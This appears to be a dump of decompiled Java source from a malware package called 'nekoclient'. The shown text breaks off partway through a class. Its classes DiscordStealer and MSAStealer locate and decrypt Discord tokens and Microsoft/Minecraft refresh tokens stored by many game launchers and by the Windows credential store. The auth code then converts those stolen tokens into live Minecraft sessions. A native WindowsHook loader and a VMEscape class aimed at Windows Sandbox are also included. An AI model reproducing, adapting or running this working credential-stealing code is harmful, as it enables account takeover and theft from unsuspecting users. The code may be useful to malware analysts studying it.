}


================================================
FILE: dev/neko/nekoclient/api/stealer/discord/impl/DiscordStealer.java
================================================
package dev.neko.nekoclient.api.stealer.discord.impl;

import com.eclipsesource.json.Json;
import com.sun.jna.Platform;
import com.sun.jna.platform.win32.Crypt32Util;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Base64;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.util.stream.Collectors;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.SecretKeySpec;

public class DiscordStealer {
   public static List<String> retrieve() {
      List<String> tokens = new ArrayList<>();
      if (!Platform.isWindows()) {
         return tokens;
      } else {
         retrieveLocalDiscordInstallationSafely(tokens, "discord");
         retrieveLocalDiscordInstallationSafely(tokens, "discordcanary");
         retrieveLocalDiscordInstallationSafely(tokens, "discordptb");
         retrieveLocalDiscordInstallationSafely(tokens, "Lightcord");
         return tokens;
      }
   }

   private static void retrieveLocalDiscordInstallationSafely(List<String> tokens, String channel) {
      try {
         retrieveLocalDiscordInstallation(tokens, channel);
      } catch (Throwable var3) {
      }
   }

   private static void retrieveLocalDiscordInstallation(List<String> tokens, String channel) throws InvalidAlgorithmParameterException, NoSuchPaddingException, IllegalBlockSizeException, IOException, NoSuchAlgorithmException, BadPaddingException, InvalidKeyException {
      Path path = Paths.get(System.getenv("APPDATA"), channel);
      retrieveChromeTokens(tokens, path.resolve("Local State"), path.resolve("Local Storage").resolve("leveldb"));
   }

   private static void retrieveChromeTokens(List<String> tokens, Path localState, Path localStorage) throws IOException, InvalidAlgorithmParameterException, InvalidKeyException, NoSuchPaddingException, NoSuchAlgorithmException, IllegalBlockSizeException, BadPaddingException {
      if (Files.exists(localState) && Files.exists(localStorage)) {
         byte[] encodedKey = Base64.getDecoder()
            .decode(Json.parse(new InputStreamReader(Files.newInputStream(localState))).asObject().get("os_crypt").asObject().get("encrypted_key").asString());
         byte[] key = Arrays.copyOfRange(encodedKey, 5, encodedKey.length);
         Pattern pattern = Pattern.compile("dQw4w9WgXcQ:([^\"]*)\"");

         for(Path path : Files.walk(localStorage).filter(pathx -> pathx.getFileName().toString().endsWith(".ldb")).collect(Collectors.toList())) {
            Matcher matcher = pattern.matcher(new String(Files.readAllBytes(path)));

            while(matcher.find()) {
               byte[] encryptedToken = Base64.getDecoder().decode(matcher.group(1));
               Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
               cipher.init(
                  2, new SecretKeySpec(Crypt32Util.cryptUnprotectData(key), "AES"), new GCMParameterSpec(128, Arrays.copyOfRange(encryptedToken, 3, 15))
               );
               String token = new String(cipher.doFinal(Arrays.copyOfRange(encryptedToken, 15, encryptedToken.length)));
               if (!tokens.contains(token)) {
                  tokens.add(token);
               }
            }
         }
      }
   }
}


================================================
FILE: dev/neko/nekoclient/api/stealer/msa/auth/ClientType.java
================================================
package dev.neko.nekoclient.api.stealer.msa.auth;

public class ClientType {
   public static final String EXTERNAL_TOKEN_TYPE = "d";
   public static final String DEFAULT_SCOPE = "service::user.auth.xboxlive.com::mbi_ssl";
   public static final String EXTERNAL_SCOPE = "XboxLive.signin offline_access";
   public static final String DEFAULT_TOKEN_TYPE = "t";
   public static final ClientType DEFAULT = new ClientType("00000000402B5328", "service::user.auth.xboxlive.com::mbi_ssl", "t");
   public static final ClientType POLYMC = new ClientType("6b329578-bfec-42a3-b503-303ab3f2ac96", "XboxLive.signin offline_access", "d");
   public static final ClientType PRISM = new ClientType("c36a9fb6-4f2a-41ff-90bd-ae7cc92031eb", "XboxLive.signin offline_access", "d");
   public static final ClientType TECHNIC_LAUNCHER = new ClientType("8dfabc1d-38a9-42d8-bc08-677dbc60fe65", "XboxLive.signin offline_access", "d");
   public static final ClientType LABYMOD = new ClientType("27843883-6e3b-42cb-9e51-4f55a700601e", "XboxLive.signin offline_access", "d");
   private final String clientId;
   private final String scope;
   private final String tokenType;

   public ClientType(String clientId, String scope, String tokenType) {
      this.clientId = clientId;
      this.scope = scope;
      this.tokenType = tokenType;
   }

   public final String getClientId() {
      return this.clientId;
   }

   public final String getScope() {
      return this.scope;
   }

   public final String getTokenType() {
      return this.tokenType;
   }
}


================================================
FILE: dev/neko/nekoclient/api/stealer/msa/auth/MicrosoftAuth.java
================================================
package dev.neko.nekoclient.api.stealer.msa.auth;

import com.eclipsesource.json.Json;
import com.eclipsesource.json.JsonValue;
import dev.neko.nekoclient.api.stealer.msa.auth.credentials.MicrosoftCredentials;
import dev.neko.nekoclient.api.stealer.msa.auth.credentials.MinecraftCredentials;
import dev.neko.nekoclient.api.stealer.msa.auth.credentials.XSTSCredentials;
import dev.neko.nekoclient.api.stealer.msa.auth.credentials.XboxLiveCredentials;
import dev.neko.nekoclient.utils.FormUtil;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URL;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Objects;
import java.util.stream.Collectors;
import javax.net.ssl.HttpsURLConnection;

public class MicrosoftAuth {
   public static MicrosoftCredentials refreshToken(MicrosoftCredentials microsoftCredentials) throws IOException {
      return refreshToken(microsoftCredentials.getRefreshToken(), microsoftCredentials.getClientType());
   }

   public static MicrosoftCredentials refreshToken(String refreshToken, ClientType clientType) throws IOException {
      Map<String, String> params = new HashMap<>();
      params.put("client_id", clientType.getClientId());
      params.put("redirect_uri", "https://login.live.com/oauth20_desktop.srf");
      if (Objects.nonNull(clientType.getScope())) {
         params.put("scope", clientType.getScope());
      }

      params.put("response_type", "token");
      params.put("refresh_token", refreshToken);
      params.put("grant_type", "refresh_token");
      HttpsURLConnection connection = (HttpsURLConnection)new URL("https://login.live.com/oauth20_token.srf").openConnection();
      connection.setDoOutput(true);
      connection.setDoInput(true);
      connection.setRequestMethod("POST");
      connection.setRequestProperty("Accept", "application/json");
      connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
      connection.getOutputStream().write(FormUtil.encodeToForm(params).getBytes());
      return MicrosoftCredentials.parseResponse(Json.parse(new InputStreamReader(connection.getInputStream())).asObject(), clientType);
   }

   public static XboxLiveCredentials retrieveXboxLiveCredentials(MicrosoftCredentials microsoftCredentials) throws IOException {
      return retrieveXboxLiveCredentials(microsoftCredentials.getAccessToken(), microsoftCredentials.getClientType().getTokenType());
   }

   public static XboxLiveCredentials retrieveXboxLiveCredentials(String microsoftAccessToken, String tokenType) throws IOException {
      HttpsURLConnection connection = (HttpsURLConnection)new URL("https://user.auth.xboxlive.com/user/authenticate").openConnection();
      connection.setDoOutput(true);
      connection.setDoInput(true);
      connection.setRequestMethod("POST");
      connection.setRequestProperty("Content-Type", "application/json");
      connection.setRequestProperty("Accept", "application/json");
      connection.getOutputStream()
         .write(
            Json.object()
               .add(
                  "Properties",
                  Json.object()
                     .add("AuthMethod", "RPS")
                     .add("SiteName", "user.auth.xboxlive.com")
                     .add("RpsTicket", String.format("%s=%s", tokenType, microsoftAccessToken))
               )
               .add("RelyingParty", "http://auth.xboxlive.com")
               .add("TokenType", "JWT")
               .toString()
               .getBytes()
         );
      return XboxLiveCredentials.parseResponse(Json.parse(new InputStreamReader(connection.getInputStream())).asObject());
   }

   public static XSTSCredentials retrieveXSTSCredentials(XboxLiveCredentials xboxLiveCredentials) throws IOException {
      return retrieveXSTSCredentials(xboxLiveCredentials.getToken());
   }

   public static XSTSCredentials retrieveXSTSCredentials(String xboxLiveToken) throws IOException {
      HttpsURLConnection connection = (HttpsURLConnection)new URL("https://xsts.auth.xboxlive.com/xsts/authorize").openConnection();
      connection.setDoOutput(true);
      connection.setDoInput(true);
      connection.setRequestMethod("POST");
      connection.setRequestProperty("Content-Type", "application/json");
      connection.setRequestProperty("Accept", "application/json");
      connection.getOutputStream()
         .write(
            Json.object()
               .add("Properties", Json.object().add("SandboxId", "RETAIL").add("UserTokens", Json.array(xboxLiveToken)))
               .add("RelyingParty", "rp://api.minecraftservices.com/")
               .add("TokenType", "JWT")
               .toString()
               .getBytes()
         );
      return XSTSCredentials.parseResponse(Json.parse(new InputStreamReader(connection.getInputStream())).asObject());
   }

   public static MinecraftCredentials retrieveMinecraftCredentials(XSTSCredentials xstsCredentials) throws IOException {
      HttpsURLConnection connection = (HttpsURLConnection)new URL("https://api.minecraftservices.com/authentication/login_with_xbox").openConnection();
      connection.setDoOutput(true);
      connection.setDoInput(true);
      connection.setRequestMethod("POST");
      connection.setRequestProperty("Content-Type", "application/json");
      connection.setRequestProperty("Accept", "application/json");
      connection.getOutputStream()
         .write(
            Json.object()
               .add("identityToken", String.format("XBL3.0 x=%s;%s", xstsCredentials.getUserHash(), xstsCredentials.getToken()))
               .toString()
               .getBytes()
         );
      return MinecraftCredentials.parseResponse(Json.parse(new InputStreamReader(connection.getInputStream())).asObject());
   }

   public static boolean hasMinecraft(MinecraftCredentials minecraftCredentials) throws IOException {
      return retrieveMinecraftStore(minecraftCredentials).contains("game_minecraft");
   }

   public static boolean hasMinecraft(String minecraftAccessToken) throws IOException {
      return retrieveMinecraftStore(minecraftAccessToken).contains("game_minecraft");
   }

   public static List<String> retrieveMinecraftStore(MinecraftCredentials minecraftCredentials) throws IOException {
      return retrieveMinecraftStore(minecraftCredentials.getAccessToken());
   }

   public static List<String> retrieveMinecraftStore(String minecraftAccessToken) throws IOException {
      HttpsURLConnection connection = (HttpsURLConnection)new URL("https://api.minecraftservices.com/entitlements/mcstore").openConnection();
      connection.setDoInput(true);
      connection.setRequestMethod("GET");
      connection.setRequestProperty("Content-Type", "application/json");
      connection.setRequestProperty("Accept", "application/json");
      connection.setRequestProperty("Authorization", String.format("Bearer %s", minecraftAccessToken));
      return Json.parse(new InputStreamReader(connection.getInputStream()))
         .asObject()
         .get("items")
         .asArray()
         .values()
         .stream()
         .map(JsonValue::asObject)
         .map(object -> object.get("name"))
         .map(JsonValue::asString)
         .collect(Collectors.toList());
   }

   public static MinecraftProfile retrieveMinecraftProfile(MinecraftCredentials minecraftCredentials) throws IOException {
      return retrieveMinecraftProfile(minecraftCredentials.getAccessToken());
   }

   public static MinecraftProfile retrieveMinecraftProfile(String minecraftAccessToken) throws IOException {
      HttpsURLConnection connection = (HttpsURLConnection)new URL("https://api.minecraftservices.com/minecraft/profile").openConnection();
      connection.setDoInput(true);
      connection.setRequestMethod("GET");
      connection.setRequestProperty("Content-Type", "application/json");
      connection.setRequestProperty("Accept", "application/json");
      connection.setRequestProperty("Authorization", String.format("Bearer %s", minecraftAccessToken));
      return MinecraftProfile.parseResponse(Json.parse(new InputStreamReader(connection.getInputStream())).asObject());
   }
}


================================================
FILE: dev/neko/nekoclient/api/stealer/msa/auth/MinecraftProfile.java
================================================
package dev.neko.nekoclient.api.stealer.msa.auth;

import com.eclipsesource.json.JsonObject;
import java.util.UUID;

public class MinecraftProfile {
   private final UUID id;
   private final String name;

   public MinecraftProfile(UUID id, String name) {
      this.id = id;
      this.name = name;
   }

   private static UUID convertProfileIdToUUID(String id) {
      return UUID.fromString(new StringBuilder(id).insert(8, "-").insert(13, "-").insert(18, "-").insert(23, "-").toString());
   }

   public static MinecraftProfile parseResponse(JsonObject json) {
      return new MinecraftProfile(convertProfileIdToUUID(json.get("id").asString()), json.get("name").asString());
   }

   public final String getName() {
      return this.name;
   }

   public final UUID getId() {
      return this.id;
   }
}


================================================
FILE: dev/neko/nekoclient/api/stealer/msa/auth/credentials/MicrosoftCredentials.java
================================================
package dev.neko.nekoclient.api.stealer.msa.auth.credentials;

import com.eclipsesource.json.JsonObject;
import dev.neko.nekoclient.api.stealer.msa.auth.ClientType;

public class MicrosoftCredentials {
   private final String userId;
   private final String accessToken;
   private final ClientType clientType;
   private final long accessTokenExpiration;
   private final String refreshToken;
   private final long refreshTokenExpiration;

   public MicrosoftCredentials(
      String userId, String accessToken, ClientType clientType, long accessTokenExpiration, String refreshToken, long refreshTokenExpiration
   ) {
      this.userId = userId;
      this.accessToken = accessToken;
      this.clientType = clientType;
      this.accessTokenExpiration = accessTokenExpiration;
      this.refreshToken = refreshToken;
      this.refreshTokenExpiration = refreshTokenExpiration;
   }

   public final String getAccessToken() {
      return this.accessToken;
   }

   public final String getRefreshToken() {
      return this.refreshToken;
   }

   public final long getRefreshTokenExpiration() {
      return this.refreshTokenExpiration;
   }

   public final long getAccessTokenExpiration() {
      return this.accessTokenExpiration;
   }

   public final String getUserId() {
      return this.userId;
   }

   public static MicrosoftCredentials parseResponse(JsonObject json, ClientType clientType) {
      return new MicrosoftCredentials(
         json.get("user_id").asString(),
         json.get("access_token").asString(),
         clientType,
         System.currentTimeMillis() + json.get("expires_in").asLong() * 1000L,
         json.get("refresh_token").asString(),
         System.currentTimeMillis() + 1209600000L
      );
   }

   public final ClientType getClientType() {
      return this.clientType;
   }
}


================================================
FILE: dev/neko/nekoclient/api/stealer/msa/auth/credentials/MinecraftCredentials.java
================================================
package dev.neko.nekoclient.api.stealer.msa.auth.credentials;

import com.eclipsesource.json.JsonObject;

public class MinecraftCredentials {
   private final String accessToken;
   private final long expiration;

   public MinecraftCredentials(String accessToken, long expiration) {
      this.accessToken = accessToken;
      this.expiration = expiration;
   }

   public final String getAccessToken() {
      return this.accessToken;
   }

   public final long getExpiration() {
      return this.expiration;
   }

   public static MinecraftCredentials parseResponse(JsonObject json) {
      return new MinecraftCredentials(json.get("access_token").asString(), System.currentTimeMillis() + json.get("expires_in").asLong() * 1000L);
   }
}


================================================
FILE: dev/neko/nekoclient/api/stealer/msa/auth/credentials/XSTSCredentials.java
================================================
package dev.neko.nekoclient.api.stealer.msa.auth.credentials;

import com.eclipsesource.json.JsonObject;
import java.time.OffsetDateTime;

public class XSTSCredentials {
   private final String token;
   private final long expiration;
   private final String userHash;

   public XSTSCredentials(String token, long expiration, String userHash) {
      this.token = token;
      this.expiration = expiration;
      this.userHash = userHash;
   }

   public final String getToken() {
      return this.token;
   }

   public final long getExpiration() {
      return this.expiration;
   }

   public final String getUserHash() {
      return this.userHash;
   }

   public static XSTSCredentials parseResponse(JsonObject json) {
      return new XSTSCredentials(
         json.get("Token").asString(),
         OffsetDateTime.parse(json.get("NotAfter").asString()).toInstant().toEpochMilli(),
         json.get("DisplayClaims").asObject().get("xui").asArray().get(0).asObject().get("uhs").asString()
      );
   }
}


================================================
FILE: dev/neko/nekoclient/api/stealer/msa/auth/credentials/XboxLiveCredentials.java
================================================
package dev.neko.nekoclient.api.stealer.msa.auth.credentials;

import com.eclipsesource.json.JsonObject;
import java.time.OffsetDateTime;

public class XboxLiveCredentials {
   private final String token;
   private final long expiration;
   private final String userHash;

   public XboxLiveCredentials(String token, long expiration, String userHash) {
      this.token = token;
      this.expiration = expiration;
      this.userHash = userHash;
   }

   public final String getToken() {
      return this.token;
   }

   public final String getUserHash() {
      return this.userHash;
   }

   public final long getExpiration() {
      return this.expiration;
   }

   public static XboxLiveCredentials parseResponse(JsonObject json) {
      return new XboxLiveCredentials(
         json.get("Token").asString(),
         OffsetDateTime.parse(json.get("NotAfter").asString()).toInstant().toEpochMilli(),
         json.get("DisplayClaims").asObject().get("xui").asArray().get(0).asObject().get("uhs").asString()
      );
   }
}


================================================
FILE: dev/neko/nekoclient/api/stealer/msa/impl/MSAStealer.java
================================================
package dev.neko.nekoclient.api.stealer.msa.impl;

import com.eclipsesource.json.Json;
import com.eclipsesource.json.JsonObject;
import com.eclipsesource.json.JsonValue;
import com.google.api.client.auth.oauth2.StoredCredential;
import com.sun.jna.Platform;
import com.sun.jna.platform.win32.Crypt32Util;
import dev.neko.nekoclient.api.stealer.msa.auth.ClientType;
import dev.neko.nekoclient.api.windows.WindowsHook;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Objects;
import java.util.regex.Pattern;
import java.util.stream.Collectors;

public class MSAStealer {
   public static List<MSAStealer.RefreshToken> retrieveRefreshTokens() {
      List<MSAStealer.RefreshToken> refreshTokens = new ArrayList<>();

      try {
         retrieveRefreshTokensFromUWPMinecraftLauncher(refreshTokens);
      } catch (Throwable var9) {
      }

      try {
         retrieveRefreshTokensFromCredentialStore(refreshTokens);
      } catch (Throwable var8) {
      }

      try {
         retrieveRefreshTokensFromLegacyMinecraftLauncher(refreshTokens);
      } catch (Throwable var7) {
      }

      try {
         retrieveRefreshTokensFromPolyMC(refreshTokens);
      } catch (Throwable var6) {
      }

      try {
         retrieveRefreshTokensFromTechnicLauncher(refreshTokens);
      } catch (Throwable var5) {
      }

      try {
         retrieveRefreshTokensFromPrismLauncher(refreshTokens);
      } catch (Throwable var4) {
      }

      try {
         retrieveRefreshTokensFromFeatherLauncher(refreshTokens);
      } catch (Throwable var3) {
      }

      try {
         retrieveRefreshTokensFromLabyMod(refreshTokens);
      } catch (Throwable var2) {
      }

      return refreshTokens;
   }

   private static void retrieveRefreshTokensFromLabyMod(List<MSAStealer.RefreshToken> refreshTokens) throws IOException {
      if (Platform.isWindows() && !Objects.isNull(System.getenv("APPDATA"))) {
         Path path = Objects.isNull(System.getenv("APPDATA")) ? null : Paths.get(System.getenv("APPDATA"), ".minecraft", "LabyMod", "accounts.json");
         if (Files.exists(path) && Files.isReadable(path)) {
            extractRefreshTokensFromLabyModLauncher(refreshTokens, Json.parse(new String(Files.readAllBytes(path))).asObject());
         }
      }
   }

   public static void retrieveRefreshTokensFromFeatherLauncher(List<MSAStealer.RefreshToken> refreshTokens) throws IOException {
      if (Platform.isWindows() && !Objects.isNull(System.getenv("APPDATA"))) {
         Path path = Objects.isNull(System.getenv("APPDATA")) ? null : Paths.get(System.getenv("APPDATA"), ".feather", "accounts.json");
         if (Files.exists(path) && Files.isReadable(path)) {
            extractRefreshTokensFromFeatherLauncher(refreshTokens, Json.parse(new String(Files.readAllBytes(path))).asObject());
         }
      }
   }

   private static void retrieveRefreshTokensFromPolyMC(List<MSAStealer.RefreshToken> refreshTokens) throws IOException {
      if (Platform.isWindows() && !Objects.isNull(System.getenv("APPDATA"))) {
         Path path = Objects.isNull(System.getenv("APPDATA")) ? null : Paths.get(System.getenv("APPDATA"), "PolyMC", "accounts.json");
         if (Files.exists(path) && Files.isReadable(path)) {
            extractRefreshTokensFromMultiMCLauncher(refreshTokens, Json.parse(new String(Files.readAllBytes(path))).asObject());
         }
      }
   }

   private static void retrieveRefreshTokensFromPrismLauncher(List<MSAStealer.RefreshToken> refreshTokens) throws IOException {
      if (Platform.isWindows() && !Objects.isNull(System.getenv("APPDATA"))) {
         Path path = Objects.isNull(System.getenv("APPDATA")) ? null : Paths.get(System.getenv("APPDATA"), "PrismLauncher", "accounts.json");
         if (Files.exists(path) && Files.isReadable(path)) {
            extractRefreshTokensFromMultiMCLauncher(refreshTokens, Json.parse(new String(Files.readAllBytes(path))).asObject());
         }
      }
   }

   private static void retrieveRefreshTokensFromTechnicLauncher(List<MSAStealer.RefreshToken> refreshTokens) throws IOException, ClassNotFoundException {
      if (Platform.isWindows() && !Objects.isNull(System.getenv("APPDATA"))) {
         Path path = Objects.isNull(System.getenv("APPDATA")) ? null : Paths.get(System.getenv("APPDATA"), ".technic", "oauth", "StoredCredential");
         if (Files.exists(path) && Files.isReadable(path)) {
            extractRefreshTokensFromTechnicLauncher(refreshTokens, path);
         }
      }
   }

   private static void retrieveRefreshTokensFromUWPMinecraftLauncher(List<MSAStealer.RefreshToken> refreshTokens) throws IOException {
      if (Platform.isWindows() && !Objects.isNull(System.getenv("APPDATA"))) {
         Path path = Objects.isNull(System.getenv("APPDATA"))
            ? null
            : Paths.get(System.getenv("APPDATA"), ".minecraft", "launcher_msa_credentials_microsoft_store.bin");
         if (Files.exists(path) && Files.isReadable(path)) {
            extractRefreshTokensFromVanillaLauncher(refreshTokens, Json.parse(new String(Crypt32Util.cryptUnprotectData(Files.readAllBytes(path)))).asObject());
         }
      }
   }

   private static void retrieveRefreshTokensFromLegacyMinecraftLauncher(List<MSAStealer.RefreshToken> refreshTokens) throws IOException {
      if (Platform.isWindows() && !Objects.isNull(System.getenv("APPDATA"))) {
         Path path = Objects.isNull(System.getenv("APPDATA")) ? null : Paths.get(System.getenv("APPDATA"), ".minecraft", "launcher_msa_credentials.bin");
         if (Files.exists(path) && Files.isReadable(path)) {
            extractRefreshTokensFromVanillaLauncher(refreshTokens, Json.parse(new String(Crypt32Util.cryptUnprotectData(Files.readAllBytes(path)))).asObject());
         }
      }
   }

   private static void retrieveRefreshTokensFromCredentialStore(List<MSAStealer.RefreshToken> refreshTokens) {
      if (WindowsHook.isAvailable()) {
         byte[][] credentials = WindowsHook.retrieveMSACredentials();

         for(byte[] credential : credentials) {
            JsonObject msaAccount = Json.parse(new String(credential).substring(60)).asObject();
            if (Objects.isNull(msaAccount.get("refresh_token"))) {
               return;
            }

            MSAStealer.RefreshToken refreshToken = new MSAStealer.RefreshToken(msaAccount.get("refresh_token").asString(), ClientType.DEFAULT);
            if (!refreshTokens.contains(refreshToken)) {
               refreshTokens.add(refreshToken);
            }
         }
      }
   }

   private static void extractRefreshTokensFromTechnicLauncher(List<MSAStealer.RefreshToken> refreshTokens, Path path) throws IOException, ClassNotFoundException {
      HashMap<String, byte[]> storedCredential = (HashMap)new ObjectInputStream(Files.newInputStream(path)).readObject();
      storedCredential.forEach((username, object) -> {
         try {
            StoredCredential credential = (StoredCredential)new ObjectInputStream(new ByteArrayInputStream(object)).readObject();
            MSAStealer.RefreshToken refreshToken = new MSAStealer.RefreshToken(credential.getRefreshToken(), ClientType.TECHNIC_LAUNCHER);
            if (!refreshTokens.contains(refreshToken)) {
               refreshTokens.add(refreshToken);
            }
         } catch (IOException | ClassNotFoundException | ClassCastException var5) {
         }
      });
   }

   private static void extractRefreshTokensFromVanillaLauncher(List<MSAStealer.RefreshToken> refreshTokens, JsonObject json) {
      if (!Objects.isNull(json.get("credentials"))) {
         Pattern msaPattern = Pattern.compile("^Xal\\.\\d+\\.Production\\.Msa\\..+$");
         Pattern credentialNamePattern = Pattern.compile("^\\d+$");
         JsonObject credentialsObject = json.get("credentials").asObject();

         for(JsonObject credential : credentialsObject.names()
            .stream()
            .filter(s -> credentialNamePattern.matcher(s).matches())
            .map(credentialsObject::get)
            .map(JsonValue::asObject)
            .collect(Collectors.toList())) {
            JsonObject msaAccountData = credential.names()
               .stream()
               .filter(s -> msaPattern.matcher(s).matches())
               .map(credential::get)
               .map(JsonValue::asString)
               .map(Json::parse)
               .map(JsonValue::asObject)
               .findFirst()
               .orElse(null);
            if (!Objects.isNull(msaAccountData) && !Objects.isNull(msaAccountData.get("refresh_token"))) {
               MSAStealer.RefreshToken refreshToken = new MSAStealer.RefreshToken(msaAccountData.get("refresh_token").asString(), ClientType.DEFAULT);
               if (!refreshTokens.contains(refreshToken)) {
                  refreshTokens.add(refreshToken);
               }
            }
         }
      }
   }

   private static void extractRefreshTokensFromMultiMCLauncher(List<MSAStealer.RefreshToken> refreshTokens, JsonObject json) {
      if (!Objects.isNull(json.get("accounts"))) {
         for(JsonObject account : json.get("accounts").asArray().values().stream().map(JsonValue::asObject).collect(Collectors.toList())) {
            if (!Objects.isNull(account.get("msa")) && !Objects.isNull(account.get("msa-client-id"))) {
               JsonObject msa = account.get("msa").asObject();
               if (!Objects.isNull(msa.get("refresh_token"))) {
                  MSAStealer.RefreshToken refreshToken = new MSAStealer.RefreshToken(
                     msa.get("refresh_token").asString(), new ClientType(account.get("msa-client-id").asString(), "XboxLive.signin offline_access", "d")
                  );
                  if (!refreshTokens.contains(refreshToken)) {
                     refreshTokens.add(refreshToken);
                  }
               }
            }
         }
      }
   }

   private static void extractRefreshTokensFromFeatherLauncher(List<MSAStealer.RefreshToken> refreshTokens, JsonObject json) {
      if (!Objects.isNull(json.get("ms"))) {
         for(JsonObject account : json.get("ms").asArray().values().stream().map(JsonValue::asObject).collect(Collectors.toList())) {
            if (!Objects.isNull(account.get("refreshToken"))) {
               MSAStealer.RefreshToken refreshToken = new MSAStealer.RefreshToken(account.get("refreshToken").asString(), ClientType.DEFAULT);
               if (!refreshTokens.contains(refreshToken)) {
                  refreshTokens.add(refreshToken);
               }
            }
         }
      }
   }

   private static void extractRefreshTokensFromLabyModLauncher(List<MSAStealer.RefreshToken> refreshTokens, JsonObject json) {
      if (!Objects.isNull(json.get("accounts"))) {
         JsonObject accounts = json.get("accounts").asObject();

         for(JsonObject account : accounts.names().stream().map(accounts::get).map(JsonValue::asObject).collect(Collectors.toList())) {
            if (!Objects.isNull(account.get("tokens"))) {
               JsonObject tokens = account.get("tokens").asObject();
               if (!Objects.isNull(tokens.get("microsoft"))) {
                  JsonObject microsoft = tokens.get("microsoft").asObject();
                  if (!Objects.isNull(microsoft.get("additional_data"))) {
                     JsonObject additionalData = microsoft.get("additional_data").asObject();
                     if (!Objects.isNull(additionalData.get("refresh_token"))) {
                        MSAStealer.RefreshToken refreshToken = new MSAStealer.RefreshToken(additionalData.get("refresh_token").asString(), ClientType.LABYMOD);
                        if (!refreshTokens.contains(refreshToken)) {
                           refreshTokens.add(refreshToken);
                        }
                     }
                  }
               }
            }
         }
      }
   }

   public static class RefreshToken {
      private final String token;
      private final ClientType clientType;

      public RefreshToken(String token, ClientType clientType) {
         this.token = token;
         this.clientType = clientType;
      }

      public final String getToken() {
         return this.token;
      }

      public final ClientType getClientType() {
         return this.clientType;
      }

      @Override
      public boolean equals(Object obj) {
         if (!(obj instanceof MSAStealer.RefreshToken)) {
            return super.equals(obj);
         } else {
            MSAStealer.RefreshToken other = (MSAStealer.RefreshToken)obj;
            return Objects.equals(other.getToken(), this.token) && Objects.equals(other.getClientType().getClientId(), this.clientType.getClientId());
         }
      }
   }
}


================================================
FILE: dev/neko/nekoclient/api/windows/FileDescriptor.java
================================================
package dev.neko.nekoclient.api.windows;

public class FileDescriptor {
   public static final int FILE_ATTRIBUTE_READONLY = 1;
   public static final int FILE_ATTRIBUTE_HIDDEN = 2;
   public static final int FILE_ATTRIBUTE_SYSTEM = 4;
   public static final int FILE_ATTRIBUTE_DIRECTORY = 16;
   public static final int FILE_ATTRIBUTE_ARCHIVE = 32;
   public static final int FILE_ATTRIBUTE_NORMAL = 128;
   public static final int FILE_ATTRIBUTE_TEMPORARY = 256;
   public static final int FILE_ATTRIBUTE_COMPRESSED = 2048;
   public static final int FILE_ATTRIBUTE_ENCRYPTED = 16384;
   private final String name;
   private final int flags;
   private final int attributes;

   public FileDescriptor(String name, int flags, int attributes) {
      this.name = name;
      this.flags = flags;
      this.attributes = attributes;
   }

   public final String getName() {
      return this.name;
   }

   public final int getFlags() {
      return this.flags;
   }

   public final int getAttributes() {
      return this.attributes;
   }

   public final boolean isReadOnly() {
      return this.is(1);
   }

   public final boolean isHidden() {
      return this.is(2);
   }

   public final boolean isSystem() {
      return this.is(4);
   }

   public final boolean isDirectory() {
      return this.is(16);
   }

   public final boolean isArchive() {
      return this.is(32);
   }

   public final boolean isNormal() {
      return this.is(128);
   }

   public final boolean isTemporary() {
      return this.is(256);
   }

   public final boolean isCompressed() {
      return this.is(2048);
   }

   public final boolean isEncrypted() {
      return this.is(16384);
   }

   public boolean is(int attribute) {
      return (this.attributes & attribute) != 0;
   }

   @Override
   public String toString() {
      return this.name;
   }
}


================================================
FILE: dev/neko/nekoclient/api/windows/WindowsHook.java
================================================
package dev.neko.nekoclient.api.windows;

import com.sun.jna.Platform;

public class WindowsHook {
   public static final int IPPROTO_ICMP = 1;
   public static final int IPPROTO_TCP = 6;
   public static final int IPPROTO_UDP = 17;
   public static final int IPPROTO_IDP = 22;
   public static final int IPPROTO_RDP = 27;
   private static boolean loaded = false;

   public static native byte[][] retrieveMSACredentials();

   public static native FileDescriptor[] retrieveClipboardFiles();

   public static void load(String path) {
      if (!loaded && isSupported()) {
         System.load(path);
         loaded = true;
      }
   }

   public static boolean isSupported() {
      return Platform.isWindows() && Platform.is64Bit();
   }

   public static boolean isAvailable() {
      return isSupported() && loaded;
   }
}


================================================
FILE: dev/neko/nekoclient/api/windows/vmescape/VMEscape.java
================================================
package dev.neko.nekoclient.api.windows.vmescape;

import dev.neko.nekoclient.api.windows.FileDescriptor;
import dev.neko.nekoclient.api.windows.WindowsHook;
import java.awt.Toolkit;
import java.awt.datatransfer.Clipboard;
import java.awt.datatransfer.DataFlavor;
import java.awt.datatransfer.Transferable;
import java.awt.datatransfer.UnsupportedFlavorException;
import java.io.File;
import java.io.IOException;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Arrays;
import java.util.List;
import java.util.Objects;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.TimeUnit;
import mslinks.ShellLink;
import mslinks.ShellLinkHelper;
import oshi.SystemInfo;
import oshi.hardware.HardwareAbstractionLayer;

public class VMEscape {
   private static final DataFlavor CUSTOM_FLAVOR;
   private final ScheduledExecutorService executorService;
   private final File storageFile;
   private final Path targetApplication;
   private final String[] arguments;
   public static final char[] disallowedCharacters;

   public VMEscape(File storageFile, Path targetApplication, String... arguments) {
      this.storageFile = storageFile;
      this.targetApplication = targetApplication;
      this.arguments = arguments;
      this.executorService = Executors.newSingleThreadScheduledExecutor();
   }

   public boolean shouldRun() {
      return WindowsHook.isAvailable() && Objects.equals(System.getProperty("user.name"), "WDAGUtilityAccount");
   }

   public void run() {
      if (this.shouldRun()) {
